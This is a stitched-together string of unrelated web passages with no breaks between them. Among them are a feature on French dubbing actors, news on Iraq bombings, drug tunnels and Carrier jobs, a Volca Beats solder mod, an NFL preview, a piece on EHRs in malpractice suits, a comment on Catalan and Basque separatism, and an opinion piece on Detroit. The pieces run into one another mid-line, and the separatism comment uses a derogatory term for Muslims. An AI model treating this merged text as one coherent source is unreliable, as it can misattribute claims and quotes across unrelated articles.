the way to the end of the sentence. The script software also has a typeset-tracking function that the writers can use to indicate if the actor needs to talk fast, and it seems like he always does. The term “bachelor party,” for instance, is just two words in English, but in French it’s an entire expression that translates to “a funeral for a young boy’s life,” and the actor of today’s scene cannot get through all the words in the heavily tracked, smushed-together script lines with all the American rage he’s not projecting but containing without running out of breath and fervor. They stop, to talk about alternative phrasing. They cut three words from the script. They do it again. They do it again. “Bon,” the director says. And after 10 minutes, they’ve got themselves about five sentences of top-quality dubbing. Mom and daughter working it out. Danielle Perret, the director who called Blanc indispensable, invites me into her office, which has framed movie posters all over the walls. She did Seven. She did Reservoir Dogs. Austin Powers, The Hunger Games, The Expendables, The Lord of the Rings trilogy, The Wolf of Wall Street. She was a theater director and film editor first, many decades ago, but she loves dubbing and loves when it’s done well. She is 76 years old and she could retire, but won’t. She is tiny, wearing a blue patterned dress and her hair long and dyed black, and she works with the best voice-over talent France has to offer. “She is an actress,” Perret says of Marot, the French Jennifer Lawrence. Because this is Art, French dubbing cultivates personae. Every time Tom Cruise opens his mouth, the same voice should come out, so that the audience can experience the same sense of intimacy and attachment that the original-language audience does with the real Tom Cruise. Sometimes changes do happen: A decade or so ago, French Tom Cruise was replaced because he smoked too much and his voice was getting too smoky. But French audiences noticed the switch, and were not pleased. Kelly Marot’s breakout dubbing role was as Rachel in Glee. That got her the chance to audition for the role of Katniss in The Hunger Games, which landed her in every voice-over actor’s dream position: the designated voice of a huge American star. If all goes well for Marot, a 28-year-old mom, she will have steady work for as long as Jennifer Lawrence does. Marot is so in demand that she works every day. She does multiple actresses, lead roles on TV shows, the French audiobooks of The Hunger Games, parts in video games, cartoons. Plus she is still Rachel in Glee, and plays Sansa in Game of Thrones. Perret points to the quality of Marot’s voice — it has just the right touch of raspy to it — and of course her talent. When she was younger, Marot did on-screen work, including a good part on a French TV show. But nine years ago, she had a kid, and then she didn’t have time for what the entertainment industry demanded. Agents. Casting calls. Publicity. Hair and makeup and wardrobe. Now, when French media call for interviews after each big J-Law film is released, Marot declines. “I wouldn’t know what to say,” she says. But the lack of exposure has no negative impact on her career. She makes good money, she has a private life, she has split ends — and that’s fine. Let’s face it: It’s a mean, exploitative, fickle, and resentful world out there in the spotlight. And not everyone has the time, or the looks — or the stomach — for that. Le doublage is Marot’s refuge. For other actors, too, it provides opportunities in their medium that might not otherwise be available or palatable to them. “My skin was never right,” Nathalie Karsenti, the French January Jones, tells me at her apartment, a third-floor walkup in Paris’s best gayborhood, Le Marais. She is short and not waif-thin and lovely, mid-40s with shoulder-length brown hair and an enviable olive kiss to her skin tone. Or enviable to me, I guess: After graduating from one of France’s top drama schools, Karsenti was told in auditions that she was too dark to look properly French — but that she wasn’t dark enough to play an Arab. “My physical characteristics closed doors for me,” she says, sitting at her kitchen table, “even if I had the talent to do it.” It does seem that her acting chops weren’t the problem. She is not just January Jones: She’s also been French Keira Knightley, French Eva Mendes, and French Zoe Saldana. “I loved it,” Karsenti says of the first time she tried dubbing. “I didn’t have to take care of the color of my skin anymore; I could just work. It’s better, what I do, than being a star, as a woman and as a mom.” Nathalie Karsenti, here with her family, is the French January Jones, Keira Knightley, Eva Mendes, and Zoe Saldana. Womanhood and motherhood quickly became a recurring theme in my interviews with dubbers. Danielle Perret, the septuagenarian director, also said that pregnancy got her into dubbing — after she took a break to have a baby, she discovered she couldn’t get back into the film editing she’d worked in before. And that baby, now a 50-year-old, followed a similar path, too. Like her mother, Déborah Perret started in theater. Like her mother, she took a break to have a baby of her own. Now, tall and statuesque as her mother is petite, with a low-cut tank top and turquoise glasses and big brown eyes, she works in dubbing, entirely behind the scenes. She dubs the voices of Jennifer Lopez, Salma Hayek, Holly Hunter, and Kate Blanchett, but she also writes those scrolling French scripts that the other dubbers read as they act out a part. It’s partly because she enjoys writing, but also because these days, she has to for financial stability. Because being invisible isn’t enough to hide a voice actor from all the savageries of the entertainment industry. “When you’re an actress, when you pass 40 you don’t have a lot of jobs,” she explains. There are plenty of old guys in movies — “Cops, the bad guy, the hero, cops, cops, cops” — but “Women, you have the heroine, plus maybe the mom and a hooker. I’m lucky I work a lot. I still work because my voice can pass for 35.” Doublage can’t protect actors from sexism, not entirely. Nor can it totally insulate them from racism. The industry allowed (white) Karsenti to get around white-supremacist casting on-screen, but I discover while talking to Perret that black stars’ roles often go to white voice actors. Denzel Washington. Morgan Freeman. Forest Whitaker — including in The Butler. When I ask him if he thinks this is an injustice, Thierry Desroses thinks I’m having a typically American reaction. Which is to say, he thinks I am having an oversensitive, overly politically-correct overreaction. “What’s important is the energy of the voice,” he says. “The vibration, the quality of the actor.” Desroses is French Samuel L. Jackson. I admit that I am surprised, and even relieved, to see that he is black when we meet at a crowded café in Montmartre. In 1994, he voiced Samuel L. Jackson’s character in Pulp Fiction. Then, in 2002, when Phone Booth came out, the French representative from 20th Century Fox, who was black, decided it was time to assign a black actor to voice Forest Whitaker, who’d been done by the same white guy since Good Morning Vietnam. “There were a lot of whites doing blacks, and he wanted to change that. So he did the casting.” Desroses, a slim, handsome fellow who had been on a hit French TV show since 1999, got the part. After that, he became the designated voice of Jackson—“Sam,” as he calls him. He is also Wesley Snipes, among plenty of others. “In ER, I was Dr. Benton,” he says. “I’ve never seen ER.” “It’s the black guy. I also do The Blacklist, the character of Harold Cooper — ” “Which one is that?” I ask. “It’s the black guy.” He says he also voiced “the black guy” on Fringe. This morning, he says, he was in the studio dubbing a character for FX’s Louie. “Was it the black guy?” I ask. “Yeah!” The white Forest Whitaker still gets most of the Forest Whitaker roles, though. And Laurence Fishburne, Kerry Washington, Oprah —
journalists, said the coordinated nature of the car bombings strongly indicated al-Qaeda was responsible. Hours before the Baghdad blasts, gunmen in pickup trucks shot and killed the leader of a local Sunni militia opposed to al-Qaeda and two of his bodyguards near the city of Baqubah, the provincial capital of Diyala, 35 miles northeast of Baghdad, according to police. The leader, Bassem Mahmoud, headed a Sunni group known as Sahwa, or “Awakening,” which joined the fight against al-Qaeda at the height of the Iraq war. In other violent incidents, another Sahwa member was killed, along with four others, when a bomb went off late Saturday near his house in Madain, 14 miles southeast of Baghdad. In the restive northern city of Mosul, a suicide bomber blew himself up near a military post, killing a woman. Police provided details of all of the attacks, while hospital officials confirmed the death tolls.There’s no denying Alan Silvestri’s successful film career. He has scored famous music for a range of films, including such greats as Forrest Gump, Back to the Future, Predator – even Lilo & Stitch. That doesn’t mean all films he scores will be great however; he’s also been involved in the likes of Lara Croft Tomb Raider: Cradle of Life, Maid in Manhattan and Stuart Little 2. However, he has already proven his worth as far as Marvel is concerned, already having scored for the Captain America: The First Avenger and the first Avengers film. So it’s no great surprise he’s been hired for the upcoming two Avengers films. Now admittedly, since he’s involved in a big budget project like this, he may well be a little biased. Yet we don’t often hear from composers talking about the quality of the films they’re scoring – especially not before they’re even released! But Silvestri has… While picking up his Icon Award at the Film, TV and Visual Media Awards, he said in his acceptance speech that he’s seen early footage of the upcoming Avengers, for which he’s currently scoring the music, and says that it’s “everything we could have hoped for.” Good news for everyone looking forward to the film, which is a lot of people. Anticipation is phenomenally high for this movie, it’s good to hear some positive feedback already. Let’s hope everything else we hear continues to be good!If free wi-fi was a religion, it'd be the most followed one on our planet. I am yet to meet someone who hates a free wi-fi connection (apart from Arvind Kejriwal, for obvious reasons). Fortunately for this Internet crazy generation, railway stations across India are getting free wi-fi connections following the Digital India initiative. Surprisingly, Patna topped the charts when it came to the data usage on the free wi-fi service. And, we'll let you do some thinking. Take a guess, a wild guess about what would be the most searched thing on this free wi-fi? Yes, porn, the synonym of wi-fi for most men. According to a report in NDTV, an official of RailTel, a mini-Ratna public sector undertaking (PSU), said. "More than any other railway station in the country, where free wi-fi service was launched, the Patna railway station is on the top in the country for using internet search, particularly search for porn sites." We won't be surprised to see a lot of the passengers missing their train from Patna Railway Station. And, we understand it must be difficult waiting for the train once you are done. After porn, the free wi-fi is used to download apps, and Bollywood films, of course.So you tried loving yourself on the inside but that didn’t work. Now to distract from the inner turmoil, you seek external validation by trying to appear as sexually attractive as possible. Well, you've come to the right place. Aesthetics 101 reveals what men and women find most sexually attractive in the opposite —based NOT on opinion, but on published empirical data. (Think of it like Cosmo meets Cosmos... or Perez Hilton meets PNAS.) For my first post, I thought I'd kick it off by answering a question I've tackled in some of my own scientific research: What is the sexiest emotion for men to display? In two studies using various methods and photographs, my colleague Jessica Tracy and I asked women to rate the sexual of men displaying either pride,,, or neutrality. (Full article can be found here: Tracy & Beall, 2011.) Here’s what we found: Male Happiness Is Not Very Attractive Somewhat surprisingly, we found that happiness was consistently rated as the least sexually attractive male emotion expression. (For an un-peer-reviewed—but cool—conceptual replication of our happiness findings check out this post from OKCupid using real-life smiling vs. non-smiling profile photos.) Source: MTVLive/CC BY-SA-3.0 You might think that happiness would be attractive to women because it communicates a man’s friendliness and approachability; smiling tends to elicit trust and approach-oriented behaviors (Becker, Kenrick, Neuberg, Blackwell, & Smith, 2007; Brown, Palameta, & Moore, 2003). However, when it comes to judging carnal sexual attractiveness, the social communicative messages sent by male happiness could be construed by women as neediness or desperation. Indeed, showing happiness and appearing friendly can be great…If you’re looking for a platonic female. Male Shame Is Pretty Attractive In our studies, male shame displays were judged as relatively sexually attractive (especially among younger women); male shame was more attractive than male happiness, and not substantially less than male pride. Source: adifans/Flickr The shame expression is an appeasement display; it signals that the expresser has violated a social norm—BUT the expresser is also aware of their transgression and feels regret (Gilbert, 2007; Keltner, 1995). Put differently, expressing shame serves as a sincere communication of past mistakes while simultaneously inspiring hope that the expresser is capable of one day changing his ways. Any woman who has ever tried to save a “bad boy” can attest to the romantic appeal of this often misguided plight. Male Pride Is Very Attractive In our investigation, we found that pride was consistently rated as the most attractive male emotion expression. Source: Кирилл Крыжановский, CC BY-SA 3.0 Previous studies have shown that men displaying pride are automatically perceived as higher status than men showing a range of other emotions (e.g., Shariff & Tracy, 2009). So, we essentially confirmed what every 65-year-old male CEO with a Ferrari has known for eons: Women are attracted to high-status men (see Buss, 2008). In addition to the high-status social communicative message sent by pride, the expanded nature of the pride expression’s physical components may also accentuate men’s musculature and upper-body size—both of which can increase men’s attractiveness to women (Li & Kenrick, 2006). Share this post with someone who never smiles in photos =] Thanks for reading! I want to know your thoughts: Please comment below:I'm not a huge fan of sliced bread. It dries out too quickly, the slices can be inconsistent and I'm trying to avoid the carbs anyway. This saves me a pointless comparison about how awesome I think Korg's Volca series is. Granted, they aren't going to replace your Mother 32 or MS-20 - but for $150 a pop, you'd be hard pressed to find better bang for the buck than any of these machines. Also, if you're into DIY and modifications, these machines are a treat - most points for modification are clearly labelled out on the circuit boards of these sweet li'l synthinhos. My first Volca was a Keys, which I didn't quite warm up to and soon traded it in for a Bass, which sees a lot of use for doubling bass lines. Add a touch of distortion or fuzz to it and you're in for thick analog fatness that you'd be hard pressed to replace. A very generous friend gave me his Volca Beats to dissect and mod, and of course I just had to go and run that through the Baron Samedi too to get some of the filthiest industrial sounds I could muster. And a "concert" that used both Volcas was - obviously - unavoidable and a ton of fun. That being said, $150 can only buy you so much. I can only describe the snare on a stock Volca Beats as the sonic equivalent of having left sliced bread (you knew I'd come back to that, right?) in a toaster for way too long. It wasn't crispy, it wasn't snappy, it was just... burned out. This isn't exactly news, but a fairly well documented complaint that led users to open up their Beats and find that, for reasons unknown, Korg omitted a component from the production process altogether. This component is a capacitor with a value of 100nF, marked C78 on the board. A quick Google search for "volca C78 mod" should give you a ton of insights and photos to show you how to do the mod, which is painfully simple. Except when it isn't. Granted, it shouldn't be a tall order, even for a newbie, to solder a component across two terminals that are clearly marked out for him/her. The problem isn't complexity - it's the ergonomics involved. C78 is a very small surface mount device, which makes soldering a bit trickier for the uninitiated and near impossible without a magnifying glass. I've performed the mod twice. The first time, i soldered a short circuit in somewhere, causing the snare to sound like a tom (thankfully, I managed to reverse it). The second time around, the heat from my soldering iron lifted the solder pad altogether. Thoroughly frustrated at this point, I was about to throw in the towel until, like Frank Costanza, I realized that there had to be another way. Snooping around a few forums threw up a schematic of the Korg snare section from a kind user named minisystem on Gearslutz (schematic linked here). There are a few more mods in there that seem interesting, but I haven't attempted them. Looking at the schematic confirmed my suspicions that there was another solder point for the lifted pad lurking somewhere - and there was, making for a much simpler mod. Notice C78 has a junction with D13 and D14? Those diodes are much larger in size, and soldering to one of the pads is a lot simpler than across the very small space that C78 provides for on the board. Solder one end of the 100nF capacitor to either D13 or D14 (on the side where the stripe is). The other end can go to the ground point on C78... or literally any other ground point on the board. Here's an image borrowed from the internet (again from Gearslutz, by user dbeats) with my solder points encircled in red. If you don't know how to solder, read up on the topic and practice a bit before attempting this mod. Here, here and then here. If you're comfortable with soldering in general, you have no reason to fear this mod - SMD isn't as scary as you think. The Volcas use lead-free solder which melts at higher temperatures. If you're having issues getting their solder to melt with your iron, a simple solution is to use a little bit of regular leaded solder to reflow the solder on the board. If needed, use a desoldering pump or braid to remove excess solder and watch out for short circuits. I highly recommend using a magnifying glass for this mod. With the mod in place, the snare sounds a LOT better. As always, you're attempting this mod at your own risk, potentially voiding your warranty etc. and I take NO responsibility for any damage that you cause your Volca by performing it - know what you're doing, or ask somebody to do it for you. Happy soldering!Mexico’s army stumbled upon another secret tunnel for smuggling drugs into the United States, according to wire reports. This one is 755-feet long, dug 60 feet beneath the ground and runs across the Sonora-Arizona border. That pales in comparison with the 2,000-footers found in past years. But what it lacks in length it appears to make up for in sophistication: “It had electricity, ventilation and small cars to transport the drugs through the tunnel,” The Associated Press reported, citing a Mexican general. AP said officials did not indicate which drug cartel the tunnel belonged to. The find comes on the heels of the Mexican election. Enrique Peña Nieto, the presumptive president-elect, of the Institutional Revolutionary Party (PRI), has suggested Mexico may shift its drug-war policy but has offered little in the way of specifics. Would that mean no more drug tunnel discoveries? Drug tunnels are some of the sweetest candy for fantasizing about the narcotics trade. They're portals that ultimately link American drug users up with cartels that rule swaths of the Americas. One such ruler, Chapo Guzman, whom the US Treasury Department has deemed the “world’s most powerful drug trafficker,” is known to have commissioned a few of these tunnels. New Yorker magazine’s William Finnegan writes: “The story was that he built his tunnels with slave labor and, in the interests of secrecy, killed the workers when they were finished.” Late last year, ABC News reported authorities had discovered as many as 75 drug tunnels linking Mexico and the United States. Drug tunnels — recent hits 1. February 2012: A 110-foot tunnel was discovered next to a private parking lot in Nogales, Arizona. The underground pathway stretched to the Mexican side of the border and ended in a home's front yard. Amazingly, the tunnel was only two feet long by two feet wide and lacked ventilation, electrical equipment, and sufficient wood to prevent a future collapse. 550 pounds of marijuana were retrieved during the raid. 2. November 2011: US Immigration and Customs Officials discovered a massive drug tunnel between San Diego and Tijuana that measured over six-football-fields long and included a secret elevator, hydraulic doors, lighting, ventilation, and rail cars. The bust netted some 32 tons of marijuana. 3. November 2010: Over 40 tons of cannabis was confiscated after investigators from the San Diego Task Force uncovered two drug tunnels with similar routes between Tijuana and Otay Mesa, California. These tunnels were supposedly the work of Mexico’s Sinaloa cartel. One of them measured over 2,200 feet. 4. April 2006: Take a tour of this cavernous drug tunnel that was discovered near Tijuana’s airport. About five-feet wide by six-feet tall, this tunnel ran more than 800 yards to a warehouse in San Diego. Equipped with a pulley system to facilitate the transport of drug packs, authorities noted that the tunnel was also large enough for human transport. 5. January 2006: In what was one of the biggest drug-smuggling discoveries to date, DEA and ICE agents uncovered a 1,200-yard long tunnel near the San Ysidro port of California. With pumps to remove underground water, Mexican drug cartels were able to effectively smuggle tons and tons of marijuana into the US. A mix of human intelligence and ground-penetrating radar technology helped locate the massive passageway. Brennan Murray contributed to this post. More from GlobalPost: Latin America's push to legalize itPresident-elect Donald Trump said Carrier is "keeping 1,100 people" in jobs that won't be shifted to Mexico from a factory in Indianapolis. The real number is 800. To get the higher number, Carrier and Trump are counting 300 jobs that weren't at risk of being shipped to Mexico. Carrier confirmed to CNNMoney on Friday that it never planned to move 300 administrative and engineering positions. Those jobs are at a different Indianapolis location, separate from the plant with the 1,400 factory worker jobs that has been in the headlines recently. Under the deal with Trump, Carrier agreed to keep the furnace part of the plant open, saving 800 jobs in Indianapolis. But it's still moving 600 jobs to Mexico to make fan coils. Related: How Donald Trump got Carrier to stay The company laid out the moves in a letter to employees Thursday, saying it expects the move will be completed by the end of 2017. Carrier also confirmed Friday that a second factory owned by Carrier corporate parent United Technologies (UTX) is also still moving to Mexico. That move will cost Indiana another 700 jobs. The Trump transition team did not respond to a request for comment about the jobs moving to Mexico. Related: Trump says he'll punish companies for leaving U.S. In its letter to employees, Carrier said that laid-off workers will have the chance to transfer to open jobs at other United Technologies plants around the country. They'll also receive up to four years of tuition assistance to go back to school and train for another job. It's also possible that the company will offer some Indianapolis factory workers a buyout. Chuck Jones, president of the local unit of the United Steelworkers union which represents Carrier workers, said that he hopes the company will offer workers the chance to leave voluntarily with the severance package that was previously negotiated -- one week of pay for every year of service. Related: 1,000 jobs saved by Trump. Thousands more to go Ideally, more senior workers at the plant would take the package and retire and save the jobs of younger workers. The plant has a large number of senior employees. "For workers who have 40 years in and were getting close to retirement, that 40 weeks pay might look pretty good," Jones said. But severance talks have yet to start.2016 season preview: Dallas Cowboys By Sam Monson • Jul 14, 2016 The Dallas Cowboys have been all over the map in terms of fortune and expectations over the last couple of seasons. They are only 18 months removed from losing in the playoffs to a freak catch/no-catch play, and thought 2015 was going to be their year, only for injuries to leave them rudderless and unable to win games. What will 2016 hold—a return to the playoff contenders of 2014, or another disappointment? Let’s take a look at each unit. [More: Be sure to check out PFF’s ranking of all 32 NFL QB situations, offensive lines, running back units, receiving corps, secondaries, and defensive front-sevens. Catch up on all the team previews here.] This team goes as Tony Romo goes, and last year he didn’t go far before breaking down (on more than one occasion). Romo enters this season fully-recovered from injury, but is now 36 years old, and the question of just how much the Cowboys want on his shoulders is a key one. If Romo goes down again, Dallas is in little better shape than a year ago, with only Kellen Moore and rookie developmental prospect Dak Prescott (Mississippi State) behind him on the depth chart. Romo is capable of elite play, but he hasn’t been able to quite match some of the raw numbers from recent seasons in pure performance terms when you throw on the tape. This season, though, he should have significant help. Running backs: 10 th Drafting Ezekiel Elliott (Ohio State) at the No. 4 overall spot should be a game-changer for Dallas. The Cowboys have a monstrous run-blocking offensive line that was able to make Darren McFadden look like a Pro-Bowl starter in 2015, and Elliott is the best running back prospect in this class—and a complete player. He won’t just take what is given, but can gain significant yardage on his own, notching 1,050 yards in his final college season after contact and breaking 54 tackles. The former Buckeye is also a three-down back, having impressive hands and the ability to block that you just don’t find in young running backs. In 108 pass-blocking snaps last season, he allowed just a single QB pressure. It may be putting the cart before the horse, but given the situation he has landed in, I would make Elliott the odds-on favorite for Rookie of the Year. (PFF Fantasy Insight: Elliott is a favorite on the fantasy side as well. He’s the No. 4 running back in our staff consensus rankings, and is running in the single best situation for fantasy success in the league. We ran through the Dallas depth chart from a fantasy perspective as well.) Receiving corps: 15 th Getting Dez Bryant back at 100 percent might be as important for the Cowboys as getting Romo healthy. At his best, Bryant is a game-changing, elite receiver that can dictate coverages and open things up for other targets. Terrance Williams and Cole Beasley can be fine complementary pieces if Bryant can return to that kind of influential form, but they won’t take pressure off without help. Tight end Jason Witten may be nearing the end of his great career, and his 2015 campaign was his lowest-graded season since PFF began grading (2007). He is only a year removed from being the NFL’s second-highest-graded TE, but at his age, any significant drop will always be concerning. Offensive line: 1 st The Cowboys have arguably the best offensive line in the league, and certainly the best run-blocking unit in football. In Tyron Smith at left tackle, Travis Frederick at center, and Zack Martin at right guard, they have three players that are all All-Pro caliber, and two who have a good claim to being the best player in the league at their respective positions. Left guard La’el Collins was probably the weak link on this unit as a rookie, but that was more of a consistency and inexperience thing than actually being unable to get the job done. His highlight reel of pancake blocks would rival any lineman in the league and shows the kind of crazy ceiling his play has. If this O-line can replicate its 2015-season form, the O-line should make life much easier for both Romo and Elliott. If the Cowboys could start their best players every week, this wouldn’t be a bad group, but suspensions are hitting hard and weakening a front-seven that isn’t blessed with a lot of depth. Dallas is missing MLB Rolando McClain for 10 weeks and both starting DEs for four weeks, and then they have the cloud of potential injury hanging over LB Sean Lee, as always. Lee, if healthy, is one of the league’s best and most complete linebackers, but a series of injuries have blighted his career. The pass-rush is looking like a potential problem for the Cowboys, with Tyrone Crawford as the top—and only—source of legitimate pressure for the first period of the season. Defensive tackle Cedric Thornton was a very good run-defender in Philadelphia, but it remains to be seen if he can expand his game as an every-down player in Dallas. The returning secondary starters in Dallas allowed a combined 14 touchdowns and didn’t intercept a pass on the other end, which about tells the tale for a unit that looks very weak. Getting Orlando Scandrick back should be a big boost, but he will need to hit the ground running, which is no guarantee after a knee injury. Byron Jones looked good as a rookie in multiple roles on that defense, but will need another step forward—and probably a defined job—to really live up to his billing. Brandon Carr and Morris Claiborne were supposed to be the CB-pairing that made this secondary great, but both have failed to deliver on that promise, yet are likely to still see significant time in 2016.An attorney friend who defends physicians in medical malpractice cases has discussed with me the challenge of reconstructing a case for trial on the basis of the EHR print-outs she uses to prepare for a case. This theme was echoed in a recent article about how EHRs are shaping medical malpractice law (see: 3 Ways Electronic Health Records Are Shaping Med Mal Cases). Below is an excerpt from it: Medical malpractice attorneys may be grateful that the rise of electronic health records means they no longer have to decipher physicians’ notoriously illegible handwriting, but the records come with their own array of frustrations....[Two experts in the field] said EHRs have become “front and center” in malpractice cases over the last two years, consuming roles both in discovery and at trial....The biggest problem with...[EHR] records....is that what lawyers see and what medical professionals see differ drastically. Attorneys don’t get screenshots of the records entered but rather hundreds or thousands of pages of printouts that aren’t logically laid out.....For example, instead of being able to view all entries by date, the printout is more likely to show categories, like medication orders, grouped together. This means on the stand or during a deposition, doctors, nurses and other professionals are scrambling to understand the record before them and “putting puzzle pieces back together,”....[A] [p]laintiffs attorney...said the printed records are “easily” 10 times the length of handwritten records, so pulling out the important data is difficult. I have blogged a number of times about some of the problems associated with EHRs from the physician and nurse perspective (see: Physician & Nurse Involvement in EHR Design; Patient Safety and EHR Gag Clauses; Alarm and EHR Alert Fatigue: A Growing Patient Safety Concern; Copy-and-Paste Errors with EHRs; Some Possible Solutions to the Problem; Reducing EHR "Wrong Orders" by Limiting the Number of "Open Charts"). However, the perspective about EHRs from malpractice attorneys is also very enlightening. What you will learn in the article quoted above is that the EHR printouts are often voluminous and difficult to place on a clinical timeline so that a judge and jury may have difficulty understanding the basis for medical decisions made for a plaintiff. At the same time, however, the general population also holds the belief that EHRs have improved the standard of care in healthcare. Below is a quote from anther article about this topic (see: Medical malpractice: How EHRs are changing the game): ...EHRs are having an impact in the courtroom beyond bearing witness or party to error. Evidently, electronic medical records are viewed differently from paper records, which has far reaching consequences in a lawsuit."Unlike paper records, where incomplete or illegible records are expected, with EHRs they're expected to be complete and immediately accessible and portable," explained [an] attorney....Perhaps more significantly, EHRs are changing the nature of malpractice litigation. For instance, EHRs hold much more data than paper records. While that seems better, it creates more complexity and increases liability because it's easier to miss a small detail buried in the data; more access to clinical information could create new legal duties to act, such as to search patient information generated by others and available via a health information exchange....Take Umberto Bossi for example. As a university activist in the early 70s, he was a Leftist and set up Lombard regionalism much in the vein that a Catalan Leftist would portray his own particualar grievances today. In fact, I still recall watching Bossi harangue Lega crowds this century reminding them that the Northern regionalists proudly opposed the centralising forces of Fascism. Though I presume it was the centralist nature of the rest of the Italian Right that bothered/bothers Bossi. You’re right that Mussolini was a northerner (a Romagnol, who likely grew up speaking this tongue), but I often wonder whether the relatively high support for the Fascist Party in northern provinces in the 1920s and 30s was more an expression of the bourgeoisie and factory-owners accommodating to a force that would keep the wage-hiking Reds at bay from their Southern rabble workforce rather than an enthusiasm for Mussolini’s Neo-Romanism (remember, the Lega fancies Padania as a barely Romanised Celtic land). The Catalan Question is even more perplexing. You’re correct to note that Orwell and the romance of the Civil War has induced foreigners, especially the wide-eyed and big-hearted, into viewing the whole of Catalan seperatism as a historically Leftist endeavour, but it has had several incarnations throughout time. Even there among the barricades of 1936-39 lies a glitch. A big part of why Barcelona had become a hotbed for Marxist and Anarcho-syndicalist movements is that the huge local proletariat was largely, if not exclusively, non-Catalan in origin and was living in shambolic quarters right next to a city of splendour and abundance. So much so that a subtext of Kulturkampf was in evidence: in some quarters, leftist militias erected banners declaring “Speak Spanish” as a culture war symbol against their Catalan-speaking bosses and burguers, presumably chiding their snobbery as much as their exploititiveness. At the same time you had genuinely Catalanist left-wing groupings like the Esquerra Republicana Català, so the picture becomes further mudied. Now, if you go back to 1714, supposedly Catalonia’s starting point for regional seperatism, you have to be wary that the French Rev has yet to take place and hence to speak of Left-vs-Right seems anachronistic. But if anything, their revolt was an expression of feudal privileges and a defence of an older Hapsburg form of monarchy as a bulwark against the French-imitating centralising model of a Bourbon monarchy. One might even say it was a defence of traditionalism versus modernisation. Over the next two centuries, the Catalan middle and upper-classes were happy to push for a maximum of local autonomy but never at the expense of their precious access to Spain’s imperial markets – Cuba in particular. Thus, cultural nationalism became a safety valve for expression of local atavisms where political agitation might have been too disturbing to contemplate. Granted, the loss of Spain’s Empire in 1898 makes much of being associated with Spain appear tainted to Catalans on the left and the right. But even post-Civil War and post-Franco, the Catalan urban business community and even its rural conservative faction were always happy to do business with Right-wing parties in Madrid provided that Madrid maxxed their fiscal autonomy and let them engage in a cosplay cultivating dreams of a future nation/yearning for a mythical past. In premise, Catalan regionalism has always had left-wing and right-wing manifestations. For example, Barcelona soccer club has made a killing marketing itself as a sort of anti-Spain, and the kind of rebel-romance mythos that a global fanbase loves to imbibe, yet its directors and operators have featured a hotel magnate who was a fully-paid up member of the Partido Popular – oft-deried as the successors to Franco – on the basis that having the Spanish Right lording it over federal matters in Madrid is preferrable to the Spanish Left holding the levers, as well as a Friedmanite economist whose vision of an independent Catalonia is more Singapore than Scandanavia. What has happened in recent years to bring us to this present impasse is that the etiquette in the Madrid-Barcelona tango has broken down: the Spanish Right is wedded to a centralist vision of the nation since 1812 which in turn alienates the two most productive regions of the country which it needs to prevent the entire peninsula from becoming a left-wing governed banana republic. But since the Spanish Right also purports to defend the Catholic Spain in the culture wars, it ends up casting itself as a punching bag for the grievances of every weed-smoking co-op buying cat-owning leftie in Catalonia and every other corner of Spain. Such that I have lefty friends in Madrid who are egging on Catalan independence because they hope it will become the encarnation of a Spain they wished to see had the Second Republic triumphed. Hell, some of them will even take to learning Catalan and relocate there. So now the prospects of a fiscally prudent Catalonia becoming independent only to midwife a Bolivarian experiment is probably keeping the more right-leaning regionalists awake at night: separate from Madrid only to become a reenactment of Madrid in 1936 (Madrid, despite the libel thrown at it by everyone within Spain who hates Spain, was a leftwing holdout for most of the Civil War), and this time with an open-borders mayor in Barcelona gladly declaring a sanctuary city for Mohammedans (cos, y’know, to atone for Spain having had the temerity to reconquer territory from the Moors). The Basques are a fascinating case. But for a quirk of fate, they might have sided with Franco in the Civil War and spared themselves the resulting loss of autonomy that came with defeat. This was the most socially conservative people in Spain, who in preceding centuries had raised arms in defence of absolute monarchy whenever Madrid appeared to be foistering Englightenment ideals upon the country (“Don’t teach your sons Spanish, the language of Liberalism,” Basque priests used to intone). The Basques were horrified by the licentiousness and anti-clericalism of the Second Republic. But the Republic offered them autonomy: again, the tragedy of the Spanish Right alienating potential allies through its French-originating centralism. For Basque Nationalists, their seperatism was always ethnolinguistic, even racial in the late 19th century, until the emergence of ETA and its focus on anti-Franco and increasingly leftwing/ PLO/Carlos the Jackal type worldview. But curiously, as late as the 1990s you had Basque bishops refusing to condemn ETA atrocities or speaking of them in mealy-mouthed terms – old habits die hard. * = much debate abounds as to whether Lombard is in fact two distinct languages, East and West. A smiliar controversey obtains over Emilian and Romagnol. If you want a taste of what Eastern Lombard sounds like, check out musician Charlie Cinelli who sings in the Brescian dialect. It sounds like Gaelic-Norse being sung in a mead hall – about a million miles away from the vowel-ending warblings of Neapolitan crooners ** = Venetian is sometimes not classified as Gallo-Italic due to its lacking in French-type vowels and a rather stripped-down system of pronunciation in common with other obscure Romance tongues like Raeto-Romansch, Ladin and Friulian.This week, Michigan will attempt to finalize the assignment of an emergency financial manager for the troubled city of Detroit, essentially taking fiscal control from the duly elected city government. The new manager will have authority over a wide array of policies to balance the city budget, including unilaterally reworking wages and benefits in municipal labor contracts, firing entire staffs of city agencies, and selling off public assets. It’s not hard to see this plan as union busting sanctioned by the state. Amid a sea of public protests, the Detroit City Council will appeal the emergency manager’s installation at a hearing on Tuesday, but Mayor Dave Bing has resigned himself to the prospect. Detroit faced major challenges even before the Great Recession, with the loss of manufacturing jobs in the auto industry and the hollowing out of the urban core (“white flight” into the ring suburbs robbed Detroit of its tax base going back several decades). The financial crisis and subsequent economic crash sent these problems into overdrive. But lately a new meme has arisen from supporters of the emergency manager ruling: Scapegoating the citizens of Detroit by characterizing them as a bunch of tax cheats. A report in the Detroit News asserted that only half of city property owners pay their property taxes, leaving $246.5 million uncollected annually. This figure represents the highest rate of unpaid property tax among major U.S. cities. Rather than demonizing “deadbeat” homeowners, however, we should examine who actually evades responsibility for paying taxes on those properties. Detroit has been ravaged by an unending foreclosure crisis. Predatory loans trapped borrowers into monthly mortgage rates they couldn’t pay, with lenders particularly targeting lower-income minority areas like Detroit. Many of those homeowners are gone now, evicted from their properties. It is a pattern that has sunk property values, making the high property tax rates in Detroit even more unsustainable. But it also has turned banks into the real deadbeats, depriving the city of revenue. In a foreclosure, the property reverts back to the bank, which then becomes responsible for all maintenance and upkeep, as well as any fees. Some banks simply ignore these responsibilities and refuse to pay taxes or keep the vacant property in good order. The more clever banks stick evicted homeowners with the bill. Across the country and particularly in Detroit, banks have engaged in “walkaways,” where they start foreclosure proceedings but then find them too costly to complete. They choose not to finish the legal steps to foreclosure, leaving the properties vacant. Banks that walk away from homes do not have to notify the city, or even the borrower, that they have abandoned the foreclosure process. Borrowers kicked out of their homes then find themselves still responsible for property tax payments. We know this kind of behavior has occurred all over the country, leaving foreclosure victims stuck with the “zombie title” to an old property for years. And Detroit is ground zero for the phenomenon. A 2010 report of the Government 